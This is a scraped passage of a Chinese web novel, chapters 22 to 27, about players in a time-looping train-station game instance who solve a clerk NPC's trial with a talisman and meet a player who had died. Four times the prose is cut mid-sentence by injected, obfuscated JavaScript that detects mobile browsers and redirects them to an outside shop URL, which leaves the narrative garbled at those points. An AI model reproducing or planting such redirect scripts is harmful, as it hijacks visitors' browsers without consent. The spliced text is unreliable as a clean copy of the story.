沈临玉和晏星梧听完沉默了片刻。 二十四小时。 晏星梧想到了之前的各个怪异之处,特产店货架上所有商品截止日期全部落在七天后,意见箱里乘客找不到站台,还有,柏临深的刻字落款是昨天,坐标指向地下一层。 “时空枢纽站……原来是这样么。” 所有的不合理,都在此刻有了完美的解释。 “我猜测,这个副本,应该是在同一个物理空间里有不同的时间线。“他慢吞吞地开口,抬眼看向两人,“不同时间轴的人,共享这个车站的物理空间,但彼此看不见也碰不到,唯一能互通的,只有我们留下的物理痕迹。” “所以临深的刻字落款是昨天,对他来说,刻下这行字的那一刻,就是他的当下,只是落到我们这条时间线里,就成了昨天。”沈临玉恍然大悟,“他一定是察觉到了什么才特意把日期也留下。” 晏星梧往玻璃幕墙走近两步,从二楼俯视下去,目光沿着站台编号往远端看去。 候车厅下方有着B1到B8的出入口,再往里,B9以后的区域完全消失。 看不见,却不等于不存在。 “我们要找的站台,和我们不在同一时空线里。”晏星梧缓缓道,“它可能在昨天,也可能在明天。” 23. 第 23 章 钟启鸣眉头紧锁,快速消化着这个信息,片刻后开口:“我觉得不止两条,如果只是两条时间线,他没必要特意强调日期,只留下坐标就够了。” “对,所以他要传递的其实是时间坐标。”晏星梧转过身,背靠护栏,看向两人,“这意味着,他那边的时间和我们不一样,而且他自己已经意识到了这一点,他在告诉我们,不要想着在现在我们所处的的时间线去找他们。” 沈临玉道:“如果小深现在在我们的昨天,那均生大概率跟他在一起,目前来看,至少有两条时间线,昨天和今天。” “不。”晏星梧竖起一根手指,“是三条。” “特产店里所有商品的保质期截止日期全部落在七天后,日历上第七天的那一页。”他把这些碎片放到一起,“这些信息全都在指同一个时间点,就是第七天。我们现在还不知道第七天会发生什么,但它一定是这个副本的关键节点。” 钟启鸣思索片刻,道:“假设按你说的,存在昨天、今天和某个未来时间点,那,G777停靠在哪个时间?” 空气又陷入了沉默,三人思索着,并没有得出结论。 “走吧,先把第七天到底是个什么日子搞清楚,干站在这里猜不出答案。”沈临玉拍了拍护栏。 三个人又返回到了一楼的候车区,一边想着列车停靠的无数种可能性,一边搜寻者可能会出现线索的地方。 “如果七天后是一个终点,那它很可能同时也是……” 晏星梧话没说完,突然看到了远处商业街区蜜X冰城招牌上,店门口的音响主题曲还在卡壳循环中。 晏星梧听着那半句“你爱我我爱你”,脑子里飞速过着进副本以来见过的所有场景。 如果他猜得没错的话,时间在七天一个循环,那现在的他们,正处于七日中的第几日? 而如果未来的自己已经摸清了这一切……那么,以他自己的性格,他一定会想办法给过去的自己留下线索。 问题是,留下什么?留在哪里? 他回想起第一次和沈临玉去买柠檬水的时候,那个店员说的话。 ——“快两年了?不对,好像是三年……记不清了,天天都差不多,人来人往,人少人多,不记得变没变过。” 天天。 每一天她都在这里。 如果他们行走在一直在行进中的不同时间线,在只能通过死物留下线索的情况下,这个女孩儿或许是变化之中唯一的常量。 如果她每一天都在这里,她就有可能记得不止今天发生的事。 “跟我来。” 晏星梧二话不说,拔腿就往商业街区走。 “你去哪儿?”沈临玉问。 “买柠檬水!” “?现在?” 沈临玉和钟启鸣虽然不知道发生了什么,但也快步跟上。 三人穿过空荡荡的商业街区,路过无数店铺,很快走到了那家亮着暖黄灯光的蜜X冰城。 看到有人过来,店员抬起头,眼神木然地问:“您好,需要什么?” 晏星梧没有点单。他站在柜台前,认真地看了她几秒钟。 然后他笑着问她:“你好女士,请问我之前在这里点了几杯饮料?” 女孩准备点单的手停住了,她看向晏星梧,半晌,张嘴问道:“请问您问的是哪一天?” “Yes!!” 晏星梧激动地在双手握拳半蹲了一下,然后立刻转回去跟女孩说:“三杯柠檬水,少冰七分糖,谢谢。” 沈临玉思索一瞬,眼镜蓦地睁大,单手紧握成拳砸在另一只手掌上,原来如此……原来如此! 钟启鸣有些被他俩突如其来又莫名其妙的动作吓到,甚至还下意思往后退了半步。 店员低头操作了一通,很快递过来三杯柠檬水。 晏星梧接过,第一杯插上吸管喝了一口,把另外两杯转身递给沈临玉,说:“这杯七分糖,你将就喝吧。” 他把柠檬水搁在柜台上,重新看向店员。 吸管在指间无意识地转了半圈,他没有立刻开口。 进副本时系统的那句话,在脑子里慢慢又过了一遍——时间在这里是一个圆圈。 如果时间在这里会循环往复,那他们便很可能,不是第一次踏进这里了。 之前获取的所有线索,搅在一起,指向的是一次重置。 七天,或许是这个圆走完一圈的时长。 那上一圈里,他走到了哪一步? 他的视线不动声色地落在店员脸上。 店员应该是这个副本里,游走在七天循环之外的不变常量。 如果上一圈的他,某一天摸清了这个规律…… 以他自己的性子,他一定会想办法给自己留点什么。 能跨时间线传递的…… 只有她。 目光渐渐笃定下来。 “女士,“他开口问道,“我是不是在您这儿寄存过什么东西?” 店员看过来,不同于之前的疏离,此刻她的眼神里带着一种说不清道不明的审视。 她盯着晏星梧,然后放下手里的活计,开口的声音比之前多了一点活人的质感。 “有的。” 沈临玉猛地扭头看向晏星梧。 店员抬起眼睛看着晏星梧:“要现在取回吗?” 晏星梧问:“取回的话,需要什么条件?” 店员没有回答,她看着他,带着一种近乎审视的凝视。 她把问题又重复了一遍:“要现在取回吗?” 晏星梧和她对视了两秒,然后笑了一下。 真是服了副本里的这些Npc。 “取取取,现在就取。” 店员勾起一个无声的笑,她的手指在柜台上轻轻一点。 晏星梧顿时感觉失去平衡,自己脚下踩空了一瞬,他余光里看到沈临玉和钟启鸣同时僵住了身体,钟启鸣的手已经条件反射地摆出战斗的姿势,随即周围的世界无声地扭曲变形,再回过神,他们三个已经站在了一个崭新的空白空间里。 钟启鸣第一个开口,声音压得很低:“怎么回事?” 沈临玉环顾观察着这片四四方方的白色空间,嘴里吐出一个词:“结界,看不出来她是个boss级别的npc。” 他话音刚落,白色虚空里忽然浮现出一道纤细的身影。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512314|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 是店员,但又不是她。 她的面容和身形与站在柜台后面的店员女孩一模一样,但此刻她的身上不再穿着蜜X冰城的工作服,而是一件素白的长衣,头发散下来垂在肩侧,赤着脚站在白色地面上,那双一直木然的眼睛此刻亮亮的,嘴角挂着一丝若有若无的笑意。 “你。” 她抬起右手,食指隔空指向晏星梧,“要从我这里取回东西,可以。” 她的手指偏了偏,又指向他身边的沈临玉和钟启鸣,“但你需要,完成我的考验。” 钟启鸣一脸懵:“啥意思?我们也参与吗?” 女孩没搭理钟启鸣,她伸手隔空在空中一抓,五指收拢的瞬间,沈临玉和钟启鸣两人像是一键一键一键又一键疯狂复制,眨眼之间,白色空间里站满了沈临玉和钟启鸣。 晏星梧头皮有些发麻地看着这一屋子自己的队友:“……啊,那个,讲道理,如果不是黄金的话,什么东西多了都多多少少让人有点密恐。” 他看向女孩语气略带责备:“下次不许再这样了。” 女孩稍微无语了一下,她又说:“一刻钟的时间,从他们之中找到那两个真实的人。” “找不到怎么办啊?”晏星梧问。 空间里上百个沈临玉和钟启鸣发出惊恐的鸣叫:“星梧,这可不兴找不着啊!” “找不到的话,”女孩眨眨眼睛,“你的队友和你的东西都归我了。” “计时,开始。” 说完她便消失在这片密恐见了会发疯的空间里。 她一消失,整个空间立刻炸了锅。 几百张嘴同时开口,几百个声音交织重叠在一起,声浪像一堵墙一样撞过来。 “星梧,你听我说——” 几百个沈临玉一起喊。 “我在这里星梧啊!” 几百个钟启鸣跟着喊。 “哎呦,你谁啊别挤我!” 一个钟启鸣被旁边的钟启鸣们踩了脚。 “谁挤了?你先踩我的!” 那个钟启鸣又回嘴。 一堆钟启鸣们互相狂喷自己,喷着喷着开始互殴。 中间还有几个钟启鸣试图维持秩序,大声喊着“大家冷静”,然后发现自己根本不知道在跟哪一个钟启鸣说话。 晏星梧站在正中间,被声浪全方位无死角地包裹。 “停!”他举起一只手。 没人理他。 “喂!!我说停一下!” 还是没人理他。 一个沈临玉挤过来拽他的袖子:“星梧,你听我说,我可以证明——” 另一个沈临玉从另一边挤过来打断他:“不,我才能证明——” 第三个沈临玉从两人中间硬塞进来:“他们都是假的,你看看我,你仔细看看我!” 三个沈临玉把他围成一个三明治,他夹在中间感觉自己像一块被抢来抢去的肉夹馍馅,更可怕的是,越来越多的沈临玉正在陆陆续续围过来。 小猫咪抱头.jpg 你们不要再打了辣。 不是,咱就是说。 福生无量天尊,这队友我是非救不可吗? 24. 第 24 章 钟启鸣们也没闲着。 左边三个钟启鸣在互相摸脉门试图用生命体征来证明自己是真人,右边两个钟启鸣在进行俯卧撑比赛以展示体能一致性。 还有个钟启鸣直接坐在地上开始打坐,被旁边的钟启鸣一巴掌拍在后脑勺上骂了句“你现在是钟启鸣,不是晏星梧,个大傻子!”。 晏星梧被吵得脑仁嗡嗡响,此时他的左右手正在分别被两个沈临玉狂扯,他觉得自己马上就要变成一个帅气的千丝土豆。 “松——手——” 他振臂甩开两个不知名小沈,整理了下被扯得乱七八糟的衣服,往前跑出几步,站在了中间有限的空位置上,他深吸一口气,从怀里摸出一张符纸,右手食指中指并拢成剑诀,蘸取怀中的朱砂,在符面上方以指代笔画符。 笔画快而稳,指锋划过空气时留下一道淡金色的残影,眨眼之间符箓已成。 他左手拈符往半空中一送,符纸无风自起,悬在他头顶上方三尺处。 “元始回光,辨伪存真——!” 咒音落地,符纸无火自燃。 一团炽烈的橘红色火焰从符纸中心迸发而出,符纸上的朱砂字迹在火中变成了流动的金线,一道一道地从纸面上剥离出来,悬浮在火焰周围。 紧接着,金光炸开。 金光组成巨大的光弧,以符纸为核心朝整个白色空间横扫出去。 光弧过处,那些正在互相扒拉、互殴、叠罗汉的钟启鸣们和沈临玉们像被橡皮擦擦过的铅笔印,从被光弧接触到的边缘开始一寸寸消失。 整个空间里,几百个复制品几分钟的时间便化为虚无。 晏星梧抬手一挥,金色粒子纷纷扬扬地飘散。 “烟花秀——” 晏星梧礼貌欠身,左手在胸前打了个圈圈,“敬请欣赏。” 四四方方的空间里只剩下三个人。 他,沈临玉,钟启鸣。 沈临玉站在原地,先是低头看了看自己的手。 还在。 呼—— 他深吸一口气,卸力般缓缓吐出来,他抬头看向晏星梧,脸上露出一丝劫后余生的笑意:“厉害,星梧,多亏有你。” 钟启鸣难得一见地呆呆张大嘴,眼睛直直地看着几分钟前还有一堆和自己一样的伪人在互殴的位置上,现在空空如也。 他把头转向晏星梧,又转回去看了看空地,再转回来,眼神里带着一种第一次看到魔术表演的小孩子那种完全不加掩饰的震撼。 “你,”他咽了口唾沫,“你刚才那个,符纸自己着了,然后所有人就,你就这么……”他放弃了组织语言,直接竖起大拇指,“我这辈子没看过这种操作,老天。” “这科学吗?”他问。 “你都进游戏里了,你问科不科学?”沈临玉都被他逗笑了。 “咳咳,嗯,相信科学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515211|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,相信科学。”晏星梧单手成拳放在嘴边掩饰地咳了两下。 白色空间里响起一声轻笑。 啪、啪、啪。 那道纤细的白色身影重新浮现在三人面前。店员——或者说,店员的本体——依旧赤着脚,素白长衣垂到脚踝,但此刻她的脸上不再像之前一样面无表情。 她微微偏头看着晏星梧,开口的声音比之前柔和了不少:“烟花秀很好看。” “你,可以。”她又说。 “什么可以?”晏星梧问。 “我,收回之前,对你的看法。你,比我想象中,强一点。之前,是我低估了你。”女孩补充道。 她往前走了一步,来到晏星梧面前,她抬起眼睛正视晏星梧,嘴角的笑意加深了一点。 “我们做个约定吧。” “等一下。”晏星梧做出了制止的手势。 “哦?莫非我,又高估了你》?”女孩歪头探究地盯着他。 “先别说那些,其他的下来再谈,我之前存放在店员那儿的东西,你得先给我。”晏星梧把手摊开举在她面前,“拿来吧你。” “……” “……不会不给你的,我还能反悔不成。”女孩张开手在空中凭空抓出一张纸,递给晏星梧,“拿去。” 晏星梧暂时没有仔细看,他接过纸直接揣进兜里,双手交叠抱在胸前,说:“好啦,现在,谈谈你刚刚说的约定。” 25. 第 25 章 “……哥们儿,不是我说你。” 沈临玉忍了又忍,实在没忍住,他嫌弃得看了一眼钟启鸣,“你这样子是怎么黑进的监控系统?” “你真的不觉得这玩意儿太抽象了吗?”钟启鸣瞪大眼睛为自己辩驳,“黑监控需要的是技术,逻辑很顺的!这六条横杠断来变去,还能变出这么多花样来,最极致的抽象也不过如此了吧!你们到底是怎么在六条杠杠的组合里看出这么多东西的啊!” 晏星梧被他俩逗得直笑,用笔尖敲了敲便签本上的六三爻:“这样,你打过游戏吧?你就把这六爻当成副本的进度条,从下往上数,第一爻是第一天进本,第六爻是第七天通关,我们现在卡在第三爻,正好是最容易翻车的转折点。” 钟启鸣眼睛一亮,立刻点头:“这个我懂!还没到最终boss的意思。” “对,就是这个意思。”晏星梧笑着点头,又点了点那个画着圈的动爻,“这一爻动了,由阴爻变成阳爻,就是进度条反复回滚,我们不是第一次打到30%了,之前至少有两三个循环的我们,也走到过这里,甚至可能摸到了最终关卡,但最后都失败了,被系统强制拉回了开局第一天。” “厉,是说这个节点特别危险,之前的我们肯定在这里踩过无数坑。但‘无咎’,是说没团灭,每次都把线索一点点攒下来,不然也不会有这张符纸,专门留给现在的我们。” 他用笔尖沿着变卦画了个圈:“你们看这个卦,地火明夷,上面是厚厚的土,下面是一团火。火本来是往上烧的,光本来是往外照的,现在全被压在地底下,这就是明夷的意思,光明被遮蔽了。” “对应到副本里,我推测,应该是这样。” 晏星梧的语气严肃了几分,竖起一根手指,“第一,我们要找的那个,可以打开B12站台的通行凭证,就是在地下,又或者说,不在明面上的任何一处。” “第二呢?”钟启鸣追问。 “第二是,我们可能需要适当藏拙。” 晏星梧垂下眼皮看着第三爻,动爻为兄弟爻,六神临勾陈,勾陈有竞争、纠缠的意思,且应爻在第四爻也临兄弟爻,六神又临腾蛇,腾蛇又有欺诈的意思,他推测,通关过程中一定会有竞争,还可能会跟他们玩儿阴的。 而且这个竞争应该是来自于同等级的人,那在副本里,也就是其他玩家了。 “务必小心其他玩家。” 他把便签本合上,塞回口袋里,抬头看向两人。 “其他玩家?”钟启鸣皱了下眉,“就是那另外几个人,那个穿西装的,还有那个学生……” “学生模样不一定没心眼,西装也不一定就是敌人。”沈临玉道,“但在他们自己亮牌之前,我们先当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517768|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作变数处理。” 晏星梧把符纸重新叠好收进怀里,拍了拍隔板:“行了,厕所会议到此结束。下一步,去、地、下!” 三人从男厕所出来的时候,钟启鸣深吸了一口走廊里的空气,表情宛如重获新生。 “啊,新鲜的空气。”他感叹着。 “那个。”晏星梧斟酌着开口。 “嗯?”钟启鸣好奇地看向晏星梧。 “启鸣啊。”晏星梧说。 “嗯嗯,星梧老师您说。”钟启鸣表情特别诚恳。 “你知道吗,启鸣。”晏星梧语气深沉,“刚遇到你的时候,我以为你是一个酷哥,冷酷!深沉!利落!一针见血!” 钟启鸣越听眼睛越亮,就差捂着胸口直呼感动了。 “那,现在呢?”他期待地问。 “现在嘛。”晏星梧故意慢悠悠地说,“现在才发现……” “嗯?” “才发现你原来……” “嗯嗯,请说?” “原来内心深处是个逗比,哈哈哈哈哈。”晏星梧大笑着跑开。 钟启鸣被夸出花的梦狠狠破碎,他无奈地笑笑,“好啦好啦,我每次交到新朋友都会暴露一次,也不差这一次了。” “全部暴露!线索归谁!疑问无所谓!” “哈哈哈哈哈哈……” 26. 第 26 章 柏临深和岳均生现在很是无语。 说好的各自探索两小时之后在这里汇合,他们人呢? 岳均生靠在中央服务台边上,第三次按亮手机屏幕看了一眼时间。 距离约定汇合的时间已经过去了将近二十分钟,候车大厅里除了中央空调低低的风声和远处蜜X冰城那只唱一半的主题曲,连个脚步声都没有。 他把手机屏幕按灭,抬头看了一眼柏临深。 “临深,你觉得有没有一种可能,他俩看见什么稀奇古怪的东西,然后一激动就把汇合给忘了。” 柏临深没有接这句话,事实上他现在没什么心情开玩笑。 他坐在联排座椅上,后背靠着椅背,一条腿搭在另一条腿上,看起来姿态松散,但视线一直没有离开过商业街区的方向。 “再等十分钟。”他说,“十分钟还不来,我们就去找他们。” 岳均生脸上强撑的笑意收起来了几分。 在副本里,约定汇合却没有出现的情况,只有两种可能,要么是被事情绊住了脚过不来,要么就是…… 哪一种都不是好消息。 他不敢深想下去,哪怕他非常相信那两人的实力。 十分钟很快过去。 “走,去找找。”柏林深站起来,边说边往远处走去。 两人沿着商业街区往里走,商业街的所有东西都和进副本时一模一样,唯独少了两个人。 岳均生边走边检查沿途的墙面、玻璃和消防箱等硬的东西。 老玩家之间有种不成文的默契,组队下副本途中如果遇到什么突发事件,会习惯性地给队友在附近的隐蔽位置留个小记号。 随便什么记号,只要是能传递信息的东西就可以,就算晏道长不知道这件事,那,沈会长总知道的吧? 然而他把手从这些物体身上收回来的时候,只收获了一手的灰尘。 “临深。”他叫住前面的人,“有没有可能他俩没往这个方向走?” 柏临深停下脚步,回头扫了一眼他刚才检查过的位置,眉头微微拧了一下。 这条商业街区他们分头行动之前刚一起走过,如果,万一,晏星梧和他哥哥中途出现了状况,按理说应该会在这附近留下点什么,但整条商业区什么都没有。 “有可能。”柏临深说,“去那边看看。” 两人折返回候车大厅,换了个方向往东侧走。 东侧是自动售票区和自助查询终端,一整排机器贴着墙根排开,屏幕上的保护程序统一滚着默认界面。 岳均生走过去随手点了一下最靠近过道的那台终端,屏幕从保护程序里退出来,弹出一个系统公告页面。 他扫了一眼公告内容,手指忽然顿住了。 公告的落款日期是昨天。 不应该是今天吗? “这台机器的日期没更新?”他疑惑地又点了一下旁边那台终端的屏幕。 页面刷新,同样弹出一条系统公告,相同的内容,落款日期也是昨天。 柏临深走到第三台终端前,碰一下屏幕,黑色的数字清清楚楚地印在浅色背景上,日期也是昨天。 三台终端,三个页面,系统时间没有一台显示的是今天的日期。 岳均生把手指从屏幕上收回来,安静思索着。 这八成不是机器故障,因为三台终端同时出现同一种日期偏差的概率太低了,低到可以直接排除硬件出问题的可能。 副本里的电子设备几乎没有系统错误这一说,游戏大概率不会跟玩家开玩笑,数据可能会是规则的一部分。 “日期全都是昨天。”他转头看向柏临深,“临深,你怎么看?” 柏临深盯着屏幕上的那行日期,沉默了片刻。 “我说不好,再看看别的地方。” 两人一前一后穿过候车大厅,继续往西侧检票口的方向走去。 岳均生的手已经习惯性地放在了腰间的墩子玩偶旁边,柏临深的步速也悄无声息地加快了一点点。 西侧检票口再往前是商业街区和候车大厅的交界处,视野相对开阔,能同时看到两侧走廊和美食街入口的情况。 柏临深走到交界处时忽然慢了一步,偏头往左侧走廊的方向看过去。 他好像听到了一个有些耳熟的声音,但他没想起来自己在哪里听过,他停下来低声拉住了岳均生。 “等一下,均生,你听。” 岳均生也停了下来,顺着他的所指的方向听。 隔着半面玻璃护栏,那边隐约传来粗嗓门的骂街声。 那声音穿过空旷的候车厅传过来,被周遭的声音搅得有些模糊,但语气里的那股蛮横劲儿隔了老远都听得出来。 两人对视一眼,贴着墙根往声音来源的方向摸过去。 走近了,骂声越来越清晰。 一家已经打烊的便利店门口,穿着清洁工制服的工作人员手里杵着拖把,面无表情地看着对面的男人,清洁工脸上挂着标准的服务行业式的微笑,嘴里重复着一句机械的台词:“本区域每日定时清理,请您配合。” “每日定时清理是吧?啊?每日定时清理,你也就这一句了吧?我问你多少遍了,这破地方的门在哪儿!怎么出去!你能不能说点别的?” 就在清洁工的对面,俩人打眼一看,纹着花臂的壮汉正在破口大骂。 清洁工像没听见一样,继续微笑:“本区域每日定时清理,请您配合。” 花臂壮汉被他这副面孔彻底激怒了,一巴掌拍在墙上,唾沫横飞:“配合你爷爷!老子跟你说话呢你听见没有!你个耳朵聋吗!” 岳均生整个人定在了原地,他盯着花臂壮汉的背影,瞳孔猛的一所,嘴唇微微张开又合上。 这个人。 这张脸。 这花臂。 这副骂骂咧咧不服不忿的腔调。 他记得清清楚楚,进副本第一天,就是这个人,把所有人的话当耳旁风,甩开步子冲进站长办公区,前后不到三秒,惨叫声从门里传出来,死了。 他明明死在了所有人的面前。 可是此时此刻,他就站在离他们不到二十米的地方,嗓门洪亮得像能把整条走廊掀翻,还在活生生地对着一个Npc大发脾气。 岳均生转头看柏临深,嘴唇动了动:“临深,我不是眼花了吧?” 柏临深也没比他好到哪儿去。 他皱眉盯着花臂壮汉看了好一会儿,不管是动作,还是表情肌理的流动,又还是他骂人时脖子侧面暴起来的青筋。 都不是幻觉,那就是他本人,活着站在这里。 “他不是,他不是死了吗?”岳均生声音都有些颤抖。 花臂壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520853|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉显然听见了岳均生那句话,他猛地转过来,瞪着眼珠子上下扫了两人一遍,然后大步走过来。 那股在清洁工身上没能撒成的火,终于找到了两个能听懂人话的撒气包。 “你们他妈的说谁呢?”他站到两人面前,个头差不多高,但因为满身横肉显得压迫感十足。 “什么死了?谁死了?说谁呢崽这儿啊?”花臂壮汉骂骂咧咧。 岳均生迅速调整表情,举起双手做了个安抚的姿势:“没什么没什么,认错人了,不好意思啊大哥。” 花臂壮汉并不买这个账。 他往前又逼了半步,歪着头盯着岳均生的脸:“少来这一套!老子耳朵好使着呢!什么叫他不是死了?说的啥啊?谁死了来你跟我说说来?” 岳均生脸上挂起了看起来毫无攻击性的表情,语气也放得很软:“真认错了大哥,刚看你背影觉得像一朋友,走近了发现不是。” “朋友?”花臂壮汉冷笑一声,视线从岳均生脸上刮到柏临深脸上,又刮回来,“你朋友也长我这样?那你们倒是挺会交朋友,少跟我耍那花招。” 柏临深没参与这场口舌之争,他站在岳均生身后半步的位置,安静地观察花臂壮汉。 看够了,他垂下眼,伸手拉了拉岳均生的袖子:“我们走吧,赶时间。” 花臂壮汉见两人不再还嘴,大概是觉得骂得没意思了,朝地上啐了一口,转身大步往回走。 临走前还丢下一句粗声粗气的话:“倒霉催的,什么破本,连个说道理的人都没有。” 花臂壮汉的身影消失在墙壁拐角。 四周重新安静下来,只剩下中央空调低低的风声。 清洁工重新拿起拖把开始工作。 岳均生靠在墙上,长长地吐出一口气。 柏临深站在他面前,背靠着对面的墙。 他抬头看柏临深,说:“我……没有头绪。” 柏临深没有说话,这是他沉默最久的一次。 他把刚才看到的画面在脑子里重新放了一遍。 “是时间。”柏临深终于开口,“在我们所在的这条时间线,他还没死。” 这句话落下去,两个人同时安静了下来。 自助终端的日期如果还只是当作bug,数字的偏差可以有无数种解释。 但活人不会撒谎,尤其是一个已经死在眼前的人重新出现,只能说明,他们现在所处的这条时间线,出了问题。 岳均生低低地苦笑了一声。 解了一道压了半天的难题之后,发现答案比预想的更离谱。 “难怪查询终端全是昨天的日期。”他说,“对我们来说,今天,就是昨天。” 柏临深从墙上起身,活动了一下肩膀,重新站直。 答案虽然离谱,但至少有了方向。 “那……星梧和老沈呢?他们跟我们分开的时候是同一个时间,他们应该也在这里才对。” “不一定。”柏临深想了想,“我们是在这两个小时内时间线产生了变化,而刚刚我们怎么也找不到他们,他们很有可能还处在今天,也就是我们现在的明天。” 岳均生听罢深吸一口气,抬手揉了揉自己的后脖颈,拍了拍柏临深的肩膀。 “那行。”他说,“我们在昨天,他们在今天,那我们就先把昨天的事儿干明白。” 27. 第 27 章 两人正准备继续搜索,柏临深忽然抬手按住了岳均生的胳膊。 他的视线落在走廊斜对面一根粗壮的承重柱后面。 “出来吧,朋友。”柏林深对那个方向说,“偷听可不是什么好习惯。” 那个扎马尾的女孩从柱子后面走出来,动作不紧不慢,手里攥着一个磨得起皮的小本子。 她看起来二十出头,穿着件灰色卫衣。 跟在她后面的男生个子不高,戴着黑框眼镜,两只手绞在一起,神态有些瑟缩。 “不好意思。”女孩主动开口,语气不卑不亢,“我们不是故意偷听的,我们刚才其实一直在柱子后面,没有找到合适的机会出来。” “先自我介绍一下,我叫周小糖,他叫程宇。”她偏头示意了一下身后的黑框眼镜男生,“我们进副本之后一直在一起行动,运气比较好,没碰上什么危险。” 她看眼前的两人都没有对她的话做出什么反应,炖了下又继续说:“刚才那个花臂男人,你们也看到了对吧?我不知道你们对他是什么印象,但我记得很清楚。” 她把本子往前翻了两页,点在自己记下的一行字上,“明明在进副本的第一天,他就自己把自己作死了。” 她把本子合上,抬起头:“一个死在我们面前的人,刚才又活生生地站在这里骂清洁工。这件事不合理。我一直在想这件事为什么不合理。” 岳均生和柏临深都没有插话,她也不等他们接茬,继续往下说。 “我推了三种可能。”她竖起三根手指,“第一种,这个副本在空间方面出现了问题。” “副本在某个时间点,把我们切到了不同的空间层,比如这个车站不只一层,花臂男人死在A层,我们站的是B层,A层的花臂男人死了,B层的花臂男人还活着,两种空间平行运行,互不干涉。” 她收回了第一根手指,又说道:“但空间假说有一个漏洞,如果只是空间不同,自助终端的日期不应该全部显示昨天,因为空间的切换不会改变这些系统的时间,空间不同,但时间是平行的,除非副本刻意改了,但如果刻意改了,那就说明,其实时间也是变量之一。” 柏临深顺着她说的话思考着,点点头。 “第二种,那就是时间。”她收回第二根手指,“我们现在处在花臂男人还没死的那个时间点上,昨天、今天、明天,各种时间线可能同时存在,我们被分配到了其中一条线上。” 她停了一拍,然后收回了第三根手指。 “第三种可能,也是我觉得目前最值得警惕的一种可能。”她微微压低了声音,“花臂男人这个人,或许从一开始,他就不是真正的玩家。” 岳均生眉头动动:“什么意思?” “这个男人,在我看来,有可能是游戏为了混淆视听而投放进来的虚假玩家。”周小糖压低了声音说道。 她这句话落,周围短暂地安静了一下。 岳均生的表情明显愣了一下,柏临深没有说话,只是微微偏了偏头,目光落在周小糖脸上,在等她把话说完。 “你们回想一下他进副本之后的全部行为啊。” 周小糖翻开本子,指尖沿着自己记下的时间线往下划,“第一,游戏播报刚结束,他第一个跳出来骂人,然后直接冲进站长办公区,没有跟任何人交流对吧。一个正常的玩家,哪怕再莽撞,至少会先问一句这是哪儿或者你们是谁的吧?但是他没有,他骂完就冲,不会真有人这么傻x的吧?” 她把本子翻到下一页,继续说道:“第二就是,他死得太快了,在我看来,副本里确实有危险区域,但一个真正的玩家,在完全没有接触过副本规则的情况下,被危险区域秒杀,这个速度,真的不太像是真实的玩家失误。” 周小糖话里话外都是不相信真有玩家能这么莽又这么菜。 “或许他是真的脑子不太灵光。”岳均生突然插话道。 “嗯哼,好吧,毕竟世界上没什么不可能的,但你说的这个可能性太小了吧?”周小糖说道。 “第三点,也是最关键的一点。”她继续说道,“他刚才在这里骂清洁工的时候,骂了将近十分钟,清洁工从头到尾只重复一句话,没有触发任何新对话或者新的行为,而画笔男人还一直坚持跟清洁工npc对话。嗯……我觉得,两个npc之间如果只是按程序来进行对撞,不产生任何实质性的互动,那其中一个很可能不是真正的玩家,而是游戏自己投放的人形道具。” 说完,她把手里的本子递给了岳均生,并示意他看。 岳均生从她手里接过本子,却没有立刻翻开看,他拿着本子,目光带着一些审视地看向周小糖,他说:“你为什么要跟我们说这些?玩家之间无偿分享的先例可并不多见。” “很简单啊。”周小糖耸耸肩膀,“因为我想和你们合作,而我作为主动寻求合作的那个人,拿出一些基本的诚意,也是应该的吧?哦?” 岳均生和柏临深对视一眼,打开手里的笔记本低头看了几行。 周小糖的记录很清晰,她在每条观察后面都标记了时间和位置编号,旁边还附了简短的逻辑批注。 他把本子还给周小糖,转头看了柏临深一眼。 柏临深问了周小糖一个问题:“如果他是假玩家,游戏为什么要投放他进来?” 